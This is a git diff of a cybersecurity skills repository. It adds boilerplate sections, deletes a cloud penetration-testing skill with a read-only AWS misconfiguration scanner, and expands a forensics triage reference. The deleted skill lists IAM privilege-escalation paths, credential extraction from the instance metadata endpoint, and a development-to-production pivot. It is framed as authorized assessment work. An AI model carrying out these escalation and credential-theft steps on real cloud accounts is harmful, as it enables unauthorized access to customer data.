b/skills/performing-cloud-incident-containment-procedures/SKILL.md index 55692c15..c75586f4 100644 --- a/skills/performing-cloud-incident-containment-procedures/SKILL.md +++ b/skills/performing-cloud-incident-containment-procedures/SKILL.md @@ -15,6 +15,21 @@ license: Apache-2.0 Cloud incident containment requires cloud-native approaches that differ significantly from traditional on-premises response. Containment procedures must leverage platform-specific controls including security groups, IAM policies, network ACLs, and service-level isolation to restrict compromised resources while preserving forensic evidence. According to the 2025 Unit 42 Global Incident Response Report, responding to cloud incidents requires understanding shared responsibility models, ephemeral infrastructure, and API-driven operations. Effective containment involves credential revocation, resource isolation, evidence snapshot creation, and automated response playbook execution. + +## When to Use + +- When conducting security assessments that involve performing cloud incident containment procedures +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + +## Prerequisites + +- Familiarity with incident response concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## AWS Containment Procedures ### 1. Credential Compromise Containment diff --git a/skills/performing-cloud-penetration-testing.bak/LICENSE b/skills/performing-cloud-penetration-testing.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/performing-cloud-penetration-testing.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/performing-cloud-penetration-testing.bak/SKILL.md b/skills/performing-cloud-penetration-testing.bak/SKILL.md deleted file mode 100644 index f554dc64..00000000 --- a/skills/performing-cloud-penetration-testing.bak/SKILL.md +++ /dev/null @@ -1,194 +0,0 @@ ---- -name: performing-cloud-penetration-testing -description: > - Performs authorized penetration testing of cloud environments across AWS, Azure, and GCP to - identify IAM misconfigurations, exposed storage buckets, overly permissive security groups, - serverless function vulnerabilities, and cloud-specific attack paths from initial access to - account compromise. The tester uses cloud-native tools and specialized frameworks like Pacu - and ScoutSuite to enumerate and exploit cloud infrastructure. Activates for requests involving - cloud pentest, AWS security assessment, Azure penetration testing, or cloud infrastructure - security testing. -domain: cybersecurity -subdomain: penetration-testing -tags: [cloud-pentest, AWS-security, Azure-security, IAM-exploitation, cloud-infrastructure] -version: 1.0.0 -author: mahipal -license: Apache-2.0 ---- -# Performing Cloud Penetration Testing - -## When to Use - -- Assessing the security posture of cloud infrastructure before or after migration from on-premises -- Testing IAM policies, security groups, and network ACLs for overly permissive configurations -- Evaluating the security of serverless architectures (Lambda, Azure Functions, Cloud Functions) -- Identifying exposed cloud storage (S3 buckets, Azure Blob containers, GCS buckets) containing sensitive data -- Testing the effectiveness of cloud security controls (GuardDuty, Defender for Cloud, Security Command Center) - -**Do not use** without both written authorization from the cloud account owner AND compliance with the cloud provider's penetration testing policy (AWS requires no prior approval for most services; Azure and GCP require notification or approval for certain test types). - -## Prerequisites - -- Written authorization specifying target cloud accounts, regions, and services in scope -- Compliance with cloud provider penetration testing policies (AWS Penetration Testing Policy, Azure Penetration Testing Rules, GCP Acceptable Use Policy) -- Cloud credentials at various privilege levels (read-only, developer, admin) for testing authorization boundaries -- Pacu (AWS), PowerZure (Azure), or GCP-specific exploitation frameworks installed -- ScoutSuite or Prowler for automated cloud security posture assessment -- AWS CLI, Azure CLI, and/or gcloud CLI configured with test credentials - -## Workflow - -### Step 1: Cloud Reconnaissance and Enumeration - -Enumerate the cloud environment to map the attack surface: - -**AWS Enumeration:** -- `aws sts get-caller-identity` - Verify current identity and account -- `aws iam list-users` - List all IAM users -- `aws iam list-roles` - List all IAM roles and their trust policies -- `aws s3 ls` - List all S3 buckets -- `aws ec2 describe-instances --region us-east-1` - List EC2 instances -- `aws lambda list-functions` - List Lambda functions -- `aws rds describe-db-instances` - List RDS databases -- Use Pacu for automated enumeration: `run iam__enum_permissions`, `run iam__enum_users_roles_policies_groups` - -**Azure Enumeration:** -- `az account list` - List subscriptions -- `az ad user list` - List Azure AD users -- `az vm list` - List virtual machines -- `az storage account list` - List storage accounts -- `az keyvault list` - List key vaults -- `az webapp list` - List web applications - -**Cross-Cloud:** -- Run ScoutSuite for comprehensive posture assessment: `scout aws --profile ` or `scout azure --cli` -- Run Prowler for AWS CIS benchmark compliance: `prowler aws` - -### Step 2: IAM and Identity Exploitation - -Test IAM policies for privilege escalation paths: - -**AWS IAM Escalation:** -- Check for overpermissive policies: `aws iam get-user-policy`, `aws iam list-attached-user-policies` -- Test known IAM escalation paths: - - `iam:CreatePolicyVersion` - Create a new policy version granting admin access - - `iam:SetDefaultPolicyVersion` - Set an older, more permissive policy version as default - - `iam:PassRole` + `lambda:CreateFunction` + `lambda:InvokeFunction` - Create a Lambda with a high-privilege role - - `iam:AttachUserPolicy` - Attach AdministratorAccess to the current user - - `sts:AssumeRole` - Assume a higher-privilege role if trust policy allows -- Use Pacu for automated escalation: `run iam__privesc_scan` - -**Azure Identity Escalation:** -- Enumerate role assignments: `az role assignment list --assignee ` -- Check for Contributor/Owner roles at subscription level -- Test Azure AD privilege escalation through application registrations, service principals, and managed identities -- Check for Global Administrator assignments in Azure AD - -### Step 3: Storage and Data Exposure - -Test cloud storage services for data exposure: - -- **S3 bucket security**: Test each bucket for: - - Public access: `aws s3 ls s3:// --no-sign-request` - - ACL misconfigurations: `aws s3api get-bucket-acl --bucket ` - - Bucket policy: `aws s3api get-bucket-policy --bucket ` - - Versioning (access deleted data): `aws s3api list-object-versions --bucket ` -- **Azure Blob exposure**: Test for public container access and shared access signature (SAS) token leakage -- **Secrets in storage**: Search storage contents for credentials, API keys, database connection strings, and PII -- **Database exposure**: Check for RDS/Azure SQL instances with public endpoints, default credentials, or security groups allowing 0.0.0.0/0 access - -### Step 4: Compute and Serverless Exploitation - -Test compute resources for vulnerabilities: - -- **EC2 instance metadata**: From a compromised instance, query `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to extract IAM role credentials -- **IMDSv1 exploitation**: Test if IMDSv2 is enforced. IMDSv1 is vulnerable to SSRF-based credential theft. -- **Lambda function analysis**: Download Lambda function code (`aws lambda get-function --function-name `) and review for hardcoded credentials, insecure dependencies, and injection vulnerabilities -- **Container security**: Test ECS/EKS for pod-level privilege escalation, container breakout, and service account token abuse -- **User data scripts**: `aws ec2 describe-instance-attribute --instance-id --attribute userData` to find credentials in startup scripts - -### Step 5: Network and Security Group Assessment - -Test network controls for misconfigurations: - -- **Security group analysis**: Identify groups allowing 0.0.0.0/0 ingress on sensitive ports (SSH/22, RDP/3389, database ports) -- **VPC flow logs**: Check if VPC flow logs are enabled for forensic capability -- **Cross-account access**: Test for overly permissive resource policies that allow access from other AWS accounts -- **VPC peering**: Identify VPC peering connections and test if peered VPCs have access to sensitive resources -- **VPN and Direct Connect**: Identify hybrid connectivity and test if cloud-to-on-premises access controls are enforced - -## Key Concepts - -| Term | Definition | -|------|------------| -| **IAM Privilege Escalation** | Exploiting overly permissive IAM policies to elevate from limited access to administrative control over the cloud account | -| **Instance Metadata Service (IMDS)** | An HTTP endpoint (169.254.169.254) on cloud instances that provides instance configuration and IAM role credentials, exploitable via SSRF | -| **Assumed Role** | An IAM role that a user or service temporarily assumes to gain its permissions, governed by trust policies that define who can assume the role | -| **SCPs (Service Control Policies)** | Organization-level policies in AWS Organizations that set permission boundaries for accounts, overriding IAM policies | -| **Managed Identity** | Azure's equivalent of AWS IAM roles for services, providing automatic credential management for Azure resources | -| **Resource Policy** | Access control policy attached to a cloud resource (S3 bucket, Lambda function, SQS queue) that defines cross-account and public access | - -## Tools & Systems - -- **Pacu**: Open-source AWS exploitation framework supporting IAM enumeration, privilege escalation, data exfiltration, and persistence -- **ScoutSuite**: Multi-cloud security auditing tool that assesses security posture across AWS, Azure, GCP, and Oracle Cloud against security best practices -- **Prowler**: AWS and Azure security assessment tool covering CIS benchmarks, PCI-DSS, HIPAA, and GDPR compliance checks -- **CloudFox**: Tool for identifying exploitable attack paths in cloud infrastructure by analyzing IAM roles, permissions, and trust relationships -- **Steampipe**: SQL-based query engine for cloud infrastructure that enables complex queries across cloud provider APIs - -## Common Scenarios - -### Scenario: AWS Cloud Penetration Test for a SaaS Company - -**Context**: A SaaS company hosts its entire platform on AWS across 3 accounts (production, staging, development). The tester is given read-only IAM credentials in the development account. The goal is to determine if the development account can be used to pivot to production. - -**Approach**: -1. Enumerate the development account with Pacu: discover 45 Lambda functions, 12 EC2 instances, 8 S3 buckets, and 23 IAM roles -2. Find that the developer role can invoke Lambda functions; one Lambda function has a role with S3 full access and STS assume-role permissions -3. Modify the Lambda function code to assume a cross-account role in the production account (trust policy allows the Lambda role) -4. From the assumed production role, enumerate S3 buckets and discover customer data in an unencrypted bucket -5. Find that the production EC2 instances use IMDSv1, which combined with an SSRF vulnerability in the web application could allow credential theft -6. Document the complete attack path from development read-only to production data access - -**Pitfalls**: -- Not checking the cloud provider's penetration testing policy and accidentally triggering automated abuse detection -- Focusing only on IaaS (EC2, VMs) while ignoring serverless functions, managed services, and storage that contain the most sensitive data -- Missing cross-account trust relationships that provide lateral movement between cloud accounts -- Not testing IMDSv2 enforcement, which is the most common cloud-specific vulnerability - -## Output Format - -``` -## Finding: Cross-Account Role Trust Allows Development-to-Production Pivot - -**ID**: CLOUD-002 -**Severity**: Critical (CVSS 9.6) -**Cloud Provider**: AWS -**Affected Account**: Production (111222333444) -**Exploited From**: Development (555666777888) - -**Description**: -The production account IAM role "ProdDataAccess" has a trust policy that allows -the Lambda execution role "LambdaDevRole" in the development account to assume -it. This cross-account trust, combined with the developer's ability to modify -Lambda function code, creates a path from development read-only access to -production data access. - -**Attack Chain**: -1. Enumerate Lambda functions in dev: aws lambda list-functions -2. Identify LambdaDevRole has sts:AssumeRole permission -3. Modify Lambda to assume ProdDataAccess: aws sts assume-role --role-arn arn:aws:iam::111222333444:role/ProdDataAccess -4. From assumed role: aws s3 ls s3://prod-customer-data -> 2.3 million customer records - -**Impact**: -An attacker compromising any developer credential can access production -customer data (2.3 million records) without directly attacking the production -account. - -**Remediation**: -1. Restrict the ProdDataAccess trust policy to specific production roles only -2. Remove sts:AssumeRole from the LambdaDevRole policy -3. Implement AWS Organizations SCPs to prevent cross-account role assumption from development -4. Enable CloudTrail alerts for cross-account AssumeRole events -5. Encrypt S3 bucket with KMS key that the development account cannot access -``` diff --git a/skills/performing-cloud-penetration-testing.bak/references/api-reference.md b/skills/performing-cloud-penetration-testing.bak/references/api-reference.md deleted file mode 100644 index edd151ab..00000000 --- a/skills/performing-cloud-penetration-testing.bak/references/api-reference.md +++ /dev/null @@ -1,56 +0,0 @@ -# API Reference: Performing Cloud Penetration Testing - -## AWS S3 API (boto3) - -| Method | Description | -|--------|-------------| -| `s3.list_buckets()` | Enumerate all S3 buckets in account | -| `s3.get_bucket_acl(Bucket)` | Check bucket ACL for public grants | -| `s3.get_bucket_policy(Bucket)` | Get bucket policy for public access | -| `s3.get_bucket_encryption(Bucket)` | Check default encryption status | - -## AWS EC2 API - -| Method | Description | -|--------|-------------| -| `ec2.describe_security_groups()` | Enumerate security groups and ingress rules | -| `ec2.describe_instances()` | List instances with metadata options (IMDSv1/v2) | -| `ec2.describe_network_interfaces()` | Enumerate ENIs and public IPs | - -## AWS Lambda API - -| Method | Description | -|--------|-------------| -| `lambda.list_functions()` | Enumerate Lambda functions | -| `lambda.get_function(FunctionName)` | Get function config including env vars | -| `lambda.get_policy(FunctionName)` | Get resource-based policy | - -## AWS IAM API - -| Method | Description | -|--------|-------------| -| `iam.list_users()` | Enumerate IAM users | -| `iam.list_roles()` | Enumerate IAM roles and trust policies | -| `iam.get_policy_version()` | Analyze policy documents | - -## Key Libraries - -- **boto3** (`pip install boto3`): AWS SDK for all service enumeration -- **ScoutSuite** (`pip install scoutsuite`): Multi-cloud security auditing tool -- **prowler**: AWS/Azure/GCP security best practices assessment -- **cloudfox**: Cloud penetration testing enumeration - -## Configuration - -| Variable | Description | -|----------|-------------| -| `AWS_PROFILE` | AWS CLI profile with test credentials | -| `AWS_DEFAULT_REGION` | Target AWS region | - -## References - -- [AWS Penetration Testing Policy](https://aws.amazon.com/security/penetration-testing/) -- [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite) -- [Prowler](https://github.com/prowler-cloud/prowler) -- [CloudFox](https://github.com/BishopFox/cloudfox) -- [HackTricks Cloud](https://cloud.hacktricks.xyz/) diff --git a/skills/performing-cloud-penetration-testing.bak/scripts/agent.py b/skills/performing-cloud-penetration-testing.bak/scripts/agent.py deleted file mode 100644 index c91cefa6..00000000 --- a/skills/performing-cloud-penetration-testing.bak/scripts/agent.py +++ /dev/null @@ -1,224 +0,0 @@ -#!/usr/bin/env python3 -""" -Cloud Penetration Testing Agent — AUTHORIZED TESTING ONLY -Performs authorized cloud infrastructure security assessment across AWS -by enumerating IAM, S3, EC2, and Lambda for misconfigurations. - -WARNING: Only use with explicit written authorization on approved accounts. -""" - -import json -import sys -from datetime import datetime, timezone - -import boto3 -from botocore.exceptions import ClientError - - -def enumerate_s3_buckets() -> list[dict]: - """Enumerate S3 buckets and check for public access misconfigurations.""" - s3 = boto3.client("s3") - findings = [] - - try: - buckets = s3.list_buckets()["Buckets"] - except ClientError as e: - return [{"error": str(e)}] - - for bucket in buckets: - name = bucket["Name"] - finding = {"bucket": name, "issues": []} - - try: - acl = s3.get_bucket_acl(Bucket=name) - for grant in acl.get("Grants", []): - grantee = grant.get("Grantee", {}) - if grantee.get("URI") in ( - "http://acs.amazonaws.com/groups/global/AllUsers", - "http://acs.amazonaws.com/groups/global/AuthenticatedUsers", - ): - finding["issues"].append({ - "type": "PUBLIC_ACL", - "severity": "HIGH", - "detail": f"Bucket grants {grant['Permission']} to {grantee['URI']}", - }) - except ClientError: - pass - - try: - policy = s3.get_bucket_policy(Bucket=name) - policy_doc = json.loads(policy["Policy"]) - for stmt in policy_doc.get("Statement", []): - if stmt.get("Effect") == "Allow" and stmt.get("Principal") in ("*", {"AWS": "*"}): - finding["issues"].append({ - "type": "PUBLIC_POLICY", - "severity": "HIGH", - "detail": f"Policy allows public access: {stmt.get('Action')}", - }) - except ClientError: - pass - - try: - encryption = s3.get_bucket_encryption(Bucket=name) - except ClientError: - finding["issues"].append({ - "type": "NO_ENCRYPTION", - "severity": "MEDIUM", - "detail": "Bucket does not have default encryption enabled", - }) - - findings.append(finding) - - return findings - - -def enumerate_security_groups(region: str = "us-east-1") -> list[dict]: - """Enumerate EC2 security groups for overly permissive rules.""" - ec2 = boto3.client("ec2", region_name=region) - findings = [] - - sgs = ec2.describe_security_groups()["SecurityGroups"] - for sg in sgs: - sg_issues = [] - for perm in sg.get("IpPermissions", []): - for ip_range in perm.get("IpRanges", []): - if ip_range.get("CidrIp") == "0.0.0.0/0": - port = perm.get("FromPort", "all") - proto = perm.get("IpProtocol", "all") - severity = "CRITICAL" if port in (22, 3389, 3306, 5432) else "HIGH" - sg_issues.append({ - "type": "OPEN_INGRESS", - "severity": severity, - "detail": f"Port {port}/{proto} open to 0.0.0.0/0", - }) - - if sg_issues: - findings.append({ - "sg_id": sg["GroupId"], - "sg_name": sg.get("GroupName", ""), - "vpc_id": sg.get("VpcId", ""), - "issues": sg_issues, - }) - - return findings - - -def enumerate_lambda_functions(region: str = "us-east-1") -> list[dict]: - """Enumerate Lambda functions for security misconfigurations.""" - lam = boto3.client("lambda", region_name=region) - findings = [] - - try: - functions = lam.list_functions()["Functions"] - except ClientError as e: - return [{"error": str(e)}] - - for func in functions: - func_finding = {"function_name": func["FunctionName"], "issues": []} - - env_vars = func.get("Environment", {}).get("Variables", {}) - sensitive_patterns = ["password", "secret", "key", "token", "api_key"] - for var_name in env_vars: - if any(p in var_name.lower() for p in sensitive_patterns): - func_finding["issues"].append({ - "type": "SENSITIVE_ENV_VAR", - "severity": "HIGH", - "detail": f"Potentially sensitive env var: {var_name}", - }) - - if not func.get("VpcConfig", {}).get("VpcId"): - func_finding["issues"].append({ - "type": "NO_VPC", - "severity": "LOW", - "detail": "Function not in VPC - has internet access", - }) - - if func_finding["issues"]: - findings.append(func_finding) - - return findings - - -def check_imds_v1(region: str = "us-east-1") -> list[dict]: - """Check EC2 instances for IMDSv1 (vulnerable to SSRF attacks).""" - ec2 = boto3.client("ec2", region_name=region) - findings = [] - - instances = ec2.describe_instances() - for reservation in instances["Reservations"]: - for inst in reservation["Instances"]: - metadata_options = inst.get("MetadataOptions", {}) - if metadata_options.get("HttpTokens") != "required": - findings.append({ - "instance_id": inst["InstanceId"], - "state": inst["State"]["Name"], - "severity": "HIGH", - "detail": "IMDSv1 enabled - vulnerable to SSRF credential theft", - }) - - return findings - - -def generate_report(s3: list, sgs: list, lambdas: list, imds: list) -> str: - """Generate cloud penetration testing report.""" - total_issues = ( - sum(len(b.get("issues", [])) for b in s3) + - sum(len(s.get("issues", [])) for s in sgs) + - sum(len(l.get("issues", [])) for l in lambdas) + - len(imds) - ) - - lines = [ - "CLOUD PENETRATION TESTING REPORT — AUTHORIZED TESTING ONLY", - "=" * 60, - f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", - f"Total Findings: {total_issues}", - "", - f"S3 BUCKETS ({len(s3)} scanned):", - ] - for b in s3: - if b.get("issues"): - for issue in b["issues"]: - lines.append(f" [{issue['severity']}] {b['bucket']}: {issue['detail']}") - - lines.append(f"\nSECURITY GROUPS ({len(sgs)} with issues):") - for sg in sgs: - for issue in sg["issues"]: - lines.append(f" [{issue['severity']}] {sg['sg_id']}: {issue['detail']}") - - lines.append(f"\nLAMBDA FUNCTIONS ({len(lambdas)} with issues):") - for l in lambdas: - for issue in l["issues"]: - lines.append(f" [{issue['severity']}] {l['function_name']}: {issue['detail']}") - - lines.append(f"\nIMDSv1 INSTANCES ({len(imds)} vulnerable):") - for i in imds: - lines.append(f" [{i['severity']}] {i['instance_id']}: {i['detail']}") - - return "\n".join(lines) - - -if __name__ == "__main__": - print("[!] CLOUD PENETRATION TESTING — AUTHORIZED TESTING ONLY\n") - region = sys.argv[1] if len(sys.argv) > 1 else "us-east-1" - - print("[*] Enumerating S3 buckets...") - s3_findings = enumerate_s3_buckets() - - print("[*] Enumerating security groups...") - sg_findings = enumerate_security_groups(region) - - print("[*] Enumerating Lambda functions...") - lambda_findings = enumerate_lambda_functions(region) - - print("[*] Checking IMDSv1 exposure...") - imds_findings = check_imds_v1(region) - - report = generate_report(s3_findings, sg_findings, lambda_findings, imds_findings) - print(report) - - output = f"cloud_pentest_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" - with open(output, "w") as f: - json.dump({"s3": s3_findings, "security_groups": sg_findings, - "lambda": lambda_findings, "imds": imds_findings}, f, indent=2) - print(f"\n[*] Results saved to {output}") diff --git a/skills/performing-cloud-storage-forensic-acquisition/SKILL.md b/skills/performing-cloud-storage-forensic-acquisition/SKILL.md index 226bb1e8..c1c8c251 100644 --- a/skills/performing-cloud-storage-forensic-acquisition/SKILL.md +++ b/skills/performing-cloud-storage-forensic-acquisition/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Cloud storage forensic acquisition involves collecting digital evidence from services like Google Drive, OneDrive, Dropbox, and Box through both API-based remote acquisition and local endpoint artifact analysis. Modern investigations must address the challenge that cloud-synced files may exist in multiple states: locally synchronized, cloud-only (on-demand), cached, and deleted. Endpoint devices that have synchronized with cloud storage contain a wealth of metadata about locally synced files, files present only in the cloud, and even deleted items recoverable from cache folders. API-based acquisition using service-specific APIs provides direct access to remote data with valid credentials and proper legal authorization. + +## When to Use + +- When conducting security assessments that involve performing cloud storage forensic acquisition +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Legal authorization (warrant, consent, or corporate policy) for cloud data access diff --git a/skills/performing-cryptographic-audit-of-application/SKILL.md b/skills/performing-cryptographic-audit-of-application/SKILL.md index a824e50d..de5a1669 100644 --- a/skills/performing-cryptographic-audit-of-application/SKILL.md +++ b/skills/performing-cryptographic-audit-of-application/SKILL.md @@ -14,6 +14,21 @@ license: Apache-2.0 A cryptographic audit systematically reviews an application's use of cryptographic primitives, protocols, and key management to identify vulnerabilities such as weak algorithms, insecure modes, hardcoded keys, insufficient entropy, and protocol misconfigurations. This skill covers building an automated crypto audit tool that scans Python and configuration files for common cryptographic weaknesses. + +## When to Use + +- When conducting security assessments that involve performing cryptographic audit of application +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + +## Prerequisites + +- Familiarity with cryptography concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Detect usage of deprecated algorithms (MD5, SHA-1, DES, RC4) diff --git a/skills/performing-endpoint-forensics-investigation/references/api-reference.md b/skills/performing-endpoint-forensics-investigation/references/api-reference.md index 09b272e0..a3b2eab8 100644 --- a/skills/performing-endpoint-forensics-investigation/references/api-reference.md +++ b/skills/performing-endpoint-forensics-investigation/references/api-reference.md @@ -1,13 +1,19 @@ # API Reference — Performing Endpoint Forensics Investigation ## Libraries Used -- **subprocess**: Execute Windows forensic commands (wmic, netstat, reg, schtasks) -- **hashlib**: Calculate MD5, SHA1, SHA256 hashes for evidence integrity -- **csv**: Parse WMIC CSV output + +| Library | Purpose | +|---------|---------| +| `subprocess` | Execute Windows forensic commands (wmic, netstat, reg, schtasks) | +| `hashlib` | Calculate MD5, SHA1, SHA256 hashes for evidence integrity | +| `csv` | Parse WMIC CSV output | +| `json` | Structure and export forensic triage results | +| `datetime` | Timestamp evidence collection | +| `argparse` | CLI argument parsing for triage modes | ## CLI Interface -``` +```bash python agent.py triage # Full forensic triage python agent.py processes # Running processes with PIDs and command lines python agent.py network # Active network connections @@ -17,12 +23,189 @@ python agent.py hash --file # Hash file for evidence ## Core Functions -### `full_triage()` — Runs all collection functions +### `full_triage()` — Run all collection functions +```python +def full_triage(): + """Execute full forensic triage and return combined results.""" + return { + "timestamp": datetime.now().isoformat(), + "hostname": collect_system_info()["hostname"], + "system_info": collect_system_info(), + "processes": collect_running_processes(), + "network": collect_network_connections(), + "autoruns": collect_autoruns(), + "users": collect_user_accounts(), + } +``` + ### `collect_system_info()` — Hostname, OS version, network config, uptime +```python +def collect_system_info(): + result = subprocess.run( + ["systeminfo"], capture_output=True, text=True, timeout=60, + ) + info = {} + for line in result.stdout.split("\n"): + if ":" in line: + key, _, val = line.partition(":") + info[key.strip()] = val.strip() + return { + "hostname": info.get("Host Name", ""), + "os_name": info.get("OS Name", ""), + "os_version": info.get("OS Version", ""), + "system_boot_time": info.get("System Boot Time", ""), + "total_physical_memory": info.get("Total Physical Memory", ""), + "domain": info.get("Domain", ""), + } +``` + ### `collect_running_processes()` — Process list via `wmic process get` +```python +def collect_running_processes(): + result = subprocess.run( + ["wmic", "process", "get", + "ProcessId,Name,ExecutablePath,CommandLine,ParentProcessId", + "/format:csv"], + capture_output=True, text=True, timeout=30, + ) + processes = [] + reader = csv.DictReader(result.stdout.strip().split("\n")) + for row in reader: + if row.get("Name"): + processes.append({ + "pid": row.get("ProcessId"), + "name": row.get("Name"), + "path": row.get("ExecutablePath", ""), + "cmdline": row.get("CommandLine", ""), + "ppid": row.get("ParentProcessId"), + }) + return processes +``` + ### 